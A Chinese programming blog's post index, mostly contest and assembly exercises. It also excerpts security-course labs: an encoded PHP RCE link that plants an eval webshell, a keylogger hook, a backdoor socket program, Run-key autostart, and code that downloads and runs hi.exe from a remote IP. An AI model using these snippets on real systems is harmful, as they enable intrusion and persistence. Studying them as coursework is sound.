自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(65)
  • 资源 (9)
  • 收藏
  • 关注

原创 编码绕过的理解

应该是这样理解的了例如在远程代码执行漏洞中构造的攻击链接为:http://xxx.xxx.xxx.xxx/index.php?m=fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29服务器经过url解密得到实际的攻击语句:fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQG

2020-11-26 16:57:22 2

原创 安防修炼

p33 include()能够以系统命令的方式执行?也可以以php代码执行? 并且结果都会反馈到前端?p51 批量挂马 那个马怎么写?功能是什么样的?会产生什么效果?

2020-11-17 15:32:52 27

原创 看过的书

2020-11-14 16:59:12 19

原创 web攻防 渗透测试实战指南

p129 编码绕过注入 为什么要编码两次?后端代码需要有decode的函数吗?

2020-11-10 14:17:05 22

原创 工控安全系统对抗之HOOK技术

一、 实验要求分别采用IAT Hook和inline Hook技术对系统函数Hook利用IAT Hook来挂钩user32.dll中的GetTopWindow函数,实现调用GetTopWindow会弹出提示框利用Inline Hook技术实现对user32.dll中的MessageBoxA的Hook,实现弹框前,先Beep一声提示:考虑到inline Hook实现对新手较难,可以先使用mhook库或Detours库来实现二、 源代码#include "windows.h"typede

2020-10-20 09:05:26 31 1

原创 工控安全系统对抗之键盘钩子

一、 实验要求编写键盘钩子程序,实现记录用户按键编写键盘钩子dll,导出startHook, stopHook两个函数,并完成消息过滤处理函数编写加载程序,实现启动时调用startHook,退出时调用stopHook二、 源代码#include “windows.h”#include “stdio.h”#define MYLIBAPI_DLL#include “dll.h”#pragma warning(disable:4996)HINSTANCE hDll;HHOOK hHoo

2020-10-12 15:24:20 10

原创 工控安全系统对抗之后门开发

#define _WINSOCK_DEPRECATED_NO_WARNINGS#include <WinSock2.h>#include <Windows.h>#pragma comment(lib,"ws2_32")int main(){ WSADATA wsaData; SOCKET connSocket; struct sockaddr_in hax; WSAStartup(MAKEWORD(2, 2), &wsaData); connSoc

2020-10-06 09:18:19 18

原创 工控安全系统编程之编写和安装服务程序

#include "windows.h"#include "process.h"#include "strsafe.h"#define LOG_FILE_PATH TEXT("D:\\ServiceTest.txt")VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv);VOID WINAPI ServiceHandler(DWORD fdwControl);UINT WINAPI ThreadTest(PVOID pD...

2020-09-29 09:36:13 10

原创 工控安全系统编程之注册表开机启动

一、 实验要求熟悉注册表操作使用注册表API,实现修改开机启动项,让d:\hi.exe开机启动提示:HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run接口提示RegCreateKeyExRegSetValueExRegCloseKey二、主要源代码 #include <Windows.h>int WINAPI WinMain( __in HINSTANCE hInstance, __i

2020-09-29 08:49:15 15

原创 工控安全系统编程之基础网络编程

一、实验要求实现进程管理器能列出操作系统当前运行的进程实现进程管理,如杀掉进程,输入进程名或进程ID,自动结束进程不要求有界面,命令行窗口即可二、源代码#include "windows.h"#include "tlhelp32.h"#include "stdio.h"#include <iostream>using namespace std;BOOL killps(DWORD ProcessId){ HANDLE hProcess = OpenProcess(

2020-09-21 08:42:32 6

原创 工控安全系统编程之 WinInet系列函数实现下载

1.实验要求使用其他函数完善实验1下载功能使用WinInet系列函数实现下载使用socket函数实现下载备选:3. 在驱动层自动发包,实现网络功能4. 自定义协议栈,利用IOCTL向底层发包实现网络功能2.源代码版本1老师的#include <Windows.h>#include <WinInet.h>#pragma comment(lib, "wininet.lib")DWORD MyURLDownloadToFile(TCHAR szURL[],

2020-09-15 08:49:06 39

原创 工控安全系统编程之 下载并运行exe

工控安全系统编程之 下载并运行exe一、实验要求熟悉VC++编程环境编程实现下载http://10.3.1.91/hi.exe到本地 ,并运行二、源代码#include <Windows.h>#include <UrlMon.h>#pragma comment(lib, "urlmon.lib")int main(){ URLDownloadToFile(0, "http://10.3.1.91/hi.exe", "D:\\hi.exe", 0, 0);

2020-09-08 20:36:47 48

原创 谁先倒 天梯赛L1-019

L1-019 谁先倒 (15分)划拳是古老中国酒文化的一个有趣的组成部分。酒桌上两人划拳的方法为:每人口中喊出一个数字,同时用手比划出一个数字。如果谁比划出的数字正好等于两人喊出的数字之和,谁就输了,输家罚一杯酒。两人同赢或两人同输则继续下一轮,直到唯一的赢家出现。下面给出甲、乙两人的酒量(最多能喝多少杯不倒)和划拳记录,请你判断两个人谁先倒。输入格式:输入第一行先后给出甲、乙两人的酒量(不超过100的非负整数),以空格分隔。下一行给出一个正整数N(≤100),随后N行,每行给出一轮划拳的记录,格式

2020-09-08 20:30:18 19

原创 大笨钟 天梯赛L1-018

L1-018 大笨钟 (10分)微博上有个自称“大笨钟V”的家伙,每天敲钟催促码农们爱惜身体早点睡觉。不过由于笨钟自己作息也不是很规律,所以敲钟并不定时。一般敲钟的点数是根据敲钟时间而定的,如果正好在某个整点敲,那么“当”数就等于那个整点数;如果过了整点,就敲下一个整点数。另外,虽然一天有24小时,钟却是只在后半天敲1~12下。例如在23:00敲钟,就是“当当当当当当当当当当当”,而到了23:01就会是“当当当当当当当当当当当当”。在午夜00:00到中午12:00期间(端点时间包括在内),笨钟是不敲的。

2020-09-08 20:28:51 16

原创 到底有多二 天梯赛L1-017

L1-017 到底有多二 (15分)一个整数“犯二的程度”定义为该数字中包含2的个数与其位数的比值。如果这个数是负数,则程度增加0.5倍;如果还是个偶数,则再增加1倍。例如数字-13142223336是个11位数,其中有3个2,并且是负数,也是偶数,则它的犯二程度计算为:3/11×1.5×2×100%,约为81.82%。本题就请你计算一个给定整数到底有多二。输入格式:输入第一行给出一个不超过50位的整数N。输出格式:在一行中输出N犯二的程度,保留小数点后两位。输入样例:-13142223336

2020-09-08 20:27:21 14

原创 查验身份证 天梯赛L1-016

L1-016 查验身份证 (15分)一个合法的身份证号码由17位地区、日期编号和顺序编号加1位校验码组成。校验码的计算规则如下:首先对前17位数字加权求和,权重分配为:{7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2};然后将计算的和对11取模得到值Z;最后按照以下关系对应Z值与校验码M的值:Z:0 1 2 3 4 5 6 7 8 9 10M:1 0 X 9 8 7 6 5 4 3 2现在给定一些身份证号码,请你验证校验码的有效性,并输出有问题的号码。输入格式:输入第一

2020-09-08 20:26:15 10

原创 跟奥巴马一起画方块 天梯赛L1-015

L1-015 跟奥巴马一起画方块 (15分)美国总统奥巴马不仅呼吁所有人都学习编程,甚至以身作则编写代码,成为美国历史上首位编写计算机代码的总统。2014年底,为庆祝“计算机科学教育周”正式启动,奥巴马编写了很简单的计算机代码:在屏幕上画一个正方形。现在你也跟他一起画吧!输入格式:输入在一行中给出正方形边长N(3≤N≤21)和组成正方形边的某种字符C,间隔一个空格。输出格式:输出由给定字符C画出的正方形。但是注意到行间距比列间距大,所以为了让结果看上去更像正方形,我们输出的行数实际上是列数的50%

2020-09-08 20:25:01 13

原创 简单题 天梯赛L1-014

简单题 (5分)这次真的没骗你 —— 这道超级简单的题目没有任何输入。你只需要在一行中输出事实:This is a simple problem. 就可以了。输入样例:无输出样例:This is a simple problem.#include<iostream>using namespace std;int main(){ cout<<"This is a simple problem."; return 0;} ...

2020-09-08 20:23:51 25

原创 计算阶乘和 天梯赛L1-013

L1-013 计算阶乘和 (10分)对于给定的正整数N,需要你计算 S=1!+2!+3!+…+N!。输入格式:输入在一行中给出一个不超过10的正整数N。输出格式:在一行中输出S的值。输入样例:3输出样例:9作者陈越单位浙江大学代码长度限制16 KB时间限制400 ms内存限制64 MB#include<iostream>using namespace std;int jiecheng(int n){ int sum=1; while(n>0

2020-09-08 20:22:35 11

原创 计算指数 天梯赛L1-012

L1-012 计算指数 (5分)真的没骗你,这道才是简单题 —— 对任意给定的不超过 10 的正整数 n,要求你输出 2​n​​ 。不难吧?输入格式:输入在一行中给出一个不超过 10 的正整数 n。输出格式:在一行中按照格式 2^n = 计算结果 输出 2​n​​ 的值。输入样例:5输出样例:2^5 = 32#include<iostream>#include<cmath>using namespace std;int main(){ int

2020-09-08 20:21:11 13

原创 A-B 天梯赛L1-011

L1-011 A-B (20分)本题要求你计算A−B。不过麻烦的是,A和B都是字符串 —— 即从字符串A中把字符串B所包含的字符全删掉,剩下的字符组成的就是字符串A−B。输入格式:输入在2行中先后给出字符串A和B。两字符串的长度都不超过10​4​​ ,并且保证每个字符串都是由可见的ASCII码和空白字符组成,最后以换行符结束。输出格式:在一行中打印出A−B的结果字符串。输入样例:I love GPLT! It’s a fun game!aeiou输出样例:I lv GPLT! I

2020-09-01 14:42:18 29

原创 比较大小 天梯赛L1-010

L1-010 比较大小 (10分)本题要求将输入的任意3个整数从小到大输出。输入格式:输入在一行中给出3个整数,其间以空格分隔。输出格式:在一行中将3个整数从小到大输出,其间以“->”相连。输入样例:4 2 8输出样例:2->4->8作者杨起帆单位浙江大学城市学院代码长度限制16 KB时间限制400 ms内存限制64 MB#include<iostream>using namespace std;void rank1(int a[

2020-09-01 14:41:04 27

原创 N个数求和 天梯赛L1-009

L1-009 N个数求和 (20分)本题的要求很简单,就是求N个数字的和。麻烦的是,这些数字是以有理数分子/分母的形式给出的,你输出的和也必须是有理数的形式。输入格式:输入第一行给出一个正整数N(≤100)。随后一行按格式a1/b1 a2/b2 …给出N个有理数。题目保证所有分子和分母都在长整型范围内。另外,负数的符号一定出现在分子前面。输出格式:输出上述数字和的最简形式 —— 即将结果写成整数部分 分数部分,其中分数部分写成分子/分母,要求分子小于分母,且它们没有公因子。如果结果的整数部分为0,

2020-09-01 14:40:03 28

原创 求整数段和 天梯赛L1-008

L1-008 求整数段和 (10分)给定两个整数A和B,输出从A到B的所有整数以及这些数的和。输入格式:输入在一行中给出2个整数A和B,其中−100≤A≤B≤100,其间以空格分隔。输出格式:首先顺序输出从A到B的所有整数,每5个数字占一行,每个数字占5个字符宽度,向右对齐。最后在一行中按Sum = X的格式输出全部数字的和X。输入样例:-3 8输出样例:-3 -2 -1 0 12 3 4 5 67 8Sum = 30#includ

2020-09-01 14:36:48 26

原创 念数字 天梯赛L1-007

L1-007 念数字 (10分)输入一个整数,输出每个数字对应的拼音。当整数为负数时,先输出fu字。十个数字对应的拼音如下:0: ling1: yi2: er3: san4: si5: wu6: liu7: qi8: ba9: jiu输入格式:输入在一行中给出一个整数,如:1234。提示:整数包括负数、零和正数。输出格式:在一行中输出这个整数对应的拼音,每个数字的拼音之间用空格分开,行末没有最后的空格。如 yi er san si。输入样例:-600输出样例:fu l

2020-09-01 14:35:08 7

原创 考试座位号 天梯赛L1-005

L1-005 考试座位号 (15分)每个 PAT 考生在参加考试时都会被分配两个座位号,一个是试机座位,一个是考试座位。正常情况下,考生在入场时先得到试机座位号码,入座进入试机状态后,系统会显示该考生的考试座位号码,考试时考生需要换到考试座位就座。但有些考生迟到了,试机已经结束,他们只能拿着领到的试机座位号码求助于你,从后台查出他们的考试座位号码。输入格式:输入第一行给出一个正整数 N(≤1000),随后 N 行,每行给出一个考生的信息:准考证号 试机座位号 考试座位号。其中准考证号由 16 位数字组

2020-09-01 14:31:30 24

原创 计算摄氏温度 天梯赛L1-004

L1-004 计算摄氏温度 (5分)给定一个华氏温度F,本题要求编写程序,计算对应的摄氏温度C。计算公式:C=5×(F−32)/9。题目保证输入与输出均在整型范围内。输入格式:输入在一行中给出一个华氏温度。输出格式:在一行中按照格式“Celsius = C”输出对应的摄氏温度C的整数值。输入样例:150输出样例:Celsius = 65#include<iostream>using namespace std;int main(){ int F,C; ci

2020-09-01 14:29:16 27

原创 个位数统计 天梯赛L1-003

L1-003 个位数统计 (15分)给定一个 k 位整数 N=d​k−1​​ 10​k−1​​ +⋯+d​1​​ 10​1​​ +d​0​​ (0≤d​i​​ ≤9, i=0,⋯,k−1, d​k−1​​ >0),请编写程序统计每种不同的个位数字出现的次数。例如:给定 N=100311,则有 2 个 0,3 个 1,和 1 个 3。输入格式:每个输入包含 1 个测试用例,即一个不超过 1000 位的正整数 N。输出格式:对 N 中每一种不同的个位数字,以 D

2020-09-01 14:27:43 20

原创 打印沙漏 天梯赛L1-002

L1-002 打印沙漏 (20分)本题要求你写个程序把给定的符号打印成沙漏的形状。例如给定17个“*”,要求按下列格式打印***** *** * ******** 所谓“沙漏形状”,是指每行输出奇数个符号;各行符号中心对齐;相邻两行符号数差2;符号数先从大到小顺序递减到1,再从小到大顺序递增;首尾符号数相等。给定任意N个符号,不一定能正好组成一个沙漏。要求打印出的沙漏能用掉尽可能多的符号。输入格式:输入在一行给出1个正整数N(≤1000)和一个符号,中间以空

2020-09-01 14:25:05 23

原创 Hello World 天梯赛L1-001

L1-001 Hello World (5分)这道超级简单的题目没有任何输入。你只需要在一行中输出著名短句“Hello World!”就可以了。输入样例:无输出样例:Hello World!-----------------------------------------------------------------------------------------------------#include<iostream>using namespace std;i

2020-09-01 14:23:35 21

原创 王爽《汇编语言》p262实验(2)我写的代码

assume cs:codecode segmentstart: mov ax,0b800h mov es,ax mov di,160*12 mov bx,offset s-offset se mov cx,80 s: mov byte ptr es:[di],'!' mov byte ptr es:[di+1],2 add di,2 int 7ch se:nop mov ax,4c00h int 21hcode endse

2020-08-28 17:15:49 30

原创 王爽《汇编语言》p262实验(1)我写的代码

assume cs:codecode segment mov ax,cs mov ds,ax mov si,offset itrpt mov ax,0 mov es,ax mov di,200h mov cx,offset itrptend-offset itrpt cld rep movsb mov ax,0 mov ds,ax mov word ptr ds:[4*7ch+2],0 mov word ptr ds:[4*7ch],200h mov ax,4c00h

2020-08-28 17:14:39 24

原创 王爽《汇编语言》p251我写的代码

assume cs:codecode segmentstart: mov ax,cs mov ds,ax mov si,offset do0 mov ax,0 mov es,ax mov di,200h mov cx,offset do0end-offset do0 cld rep movsb mov ax,0 mov es,ax mov word ptr es:[0],200h mov word ptr es:[2],0 mov ax,4c00

2020-08-28 17:13:54 38

原创 王爽《汇编语言》p234我写的代码

assume cs:codesg,ds:datasgdatasg segment db "abcdefgh",0datasg endscodesg segment start:mov ax,datasg mov ds,ax mov si,0 mov di,200h call letterc mov ax,4c00h int 21hletterc: mov ax,0 mov es,ax mov cx,1 s: mov al,d

2020-08-28 17:12:51 19

原创 王爽《汇编语言》p206我写的代码

assume cs:codedata segment db 'welcome to masm!',0data endscode segmentstart: mov dh,8 mov dl,3 mov cl,2 mov ax,data mov ds,ax mov si,0 call show_str mov ax,4c00h int 21hshow_str: mov ch,0 push cx mov al,160 mul dh mov bx,ax

2020-08-28 17:11:54 20

原创 王爽《汇编语言》p173我写的代码

assume cs:codesg,ds:data,es:table,ss:stackdata segment db '1975','1976','1977','1978','1979','1980','1981','1982','1983' db '1984','1985','1986','1987','1988','1989','1990','1991','1992' db '1993','1994','1995' dd 16,22,383,1356,2390,8000,16000,244

2020-08-28 17:10:28 22

原创 根据车票求旅行的次数

根据车票求旅行的次数题目输入一堆车票 a->b相通的起点 终点算一次旅行例如 输入shanghai beijingbeijing hebeihebei shanghai为一次旅行输出:由这一堆车票得到旅行的次数以下代码AC 100%#include<iostream>#include <string>using namespace std;struct onetime{ string _start; string _

2020-08-28 14:20:47 17

原创 逆序五进制

逆序五进制题目//逆序五进制//输入十进制 去掉前导零 逆序后 再求五进制//如 1000 1000 0001 1//下面的代码测试用例全部AC#include<iostream>#include<string>#include<cmath>using namespace std;long long int stringtonum(const string revshi)//将字符串转换为longlong int型{

2020-08-28 14:14:36 25

原创 判断括号是否匹配

判断括号是否匹配题目给定一个只包括 ‘(’,’)’,’{’,’}’,’[’,’]’ 的字符串,判断是否有效。必须以顺序闭合,注意顺序,闭合。思路对(){}[]赋值 例如 1,-1 ,2,-2,3,-3 ,进行出入栈操作入栈:正常入栈出栈:当前准备入栈的符号的值与栈顶元素的值互为相反数,也就是括号的匹配最终:栈为空,则说明括号们闭合栈不空:不闭合#include<iostream>using namespace std;#include <string>c

2020-08-28 14:12:03 23

原创 (3)二叉树继续由前序得到层序遍历

二叉树继续由前序得到层序遍历接上一篇:二叉树由后序(LRD)和中序(LDR)得到前序(DLR)程序运行题目思路和源代码/*给定一棵二叉树的后序遍历和中序遍历,请你输出其层序遍历的序列。这里假设键值都是互不相等的正整数。输出格式:在一行中输出该树的层序遍历的序列。数字间以1个空格分隔,行首尾不得有多余空格。输入样例:72315764 后序1234567 中序输出样例:4163572 层序*//*DCBHKGFEA 后序BDCAEHGKF 中序ABCDEFG

2020-08-09 15:34:24 53

键盘钩子|键盘钩子.rar

键盘钩子

2020-10-12

信息内容安全课设文章相似度计算+可执行程序+源代码.rar

爬取两篇英文文章并进行分词,计算tf 以及余弦相似度来计算两篇文章的内容相似度.

2020-06-28

Alsn Qt5 信息内容安全TF IDF计算器.rar

Alsn Qt5 信息内容安全TF IDF计算器.rar

2020-06-21

RegexBuddy 4.rar

RegexBuddy 4.正则表达式工具

2020-06-21

Alsn Qt5 信息内容安全子串实验源代码+可执行程序.rar

Alsn Qt5 信息内容安全子串实验源代码+可执行程序.

2020-06-21

Alsn Qt5 可执行纵横中文网爬虫 源代码+可执行程序.rar

Alsn Qt5 可执行纵横中文网爬虫 源代码+可执行程序.

2020-06-21

Alsn Qt5 LSB源代码+可执行程序+ppt.rar

Alsn Qt5 LSB源代码+可执行程序+ppt

2020-06-21

Qt5 diy电子相册 源代码+可执行程序.rar

Alsn青春纪念册源代码+可执行程序

2020-06-21

Qt5 Alsn猫脸变换.rar

猫脸变换的Qt5 c++源代码和可执行程序

2020-06-21

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人 TA的粉丝

提示
确定要删除当前文章?
取消 删除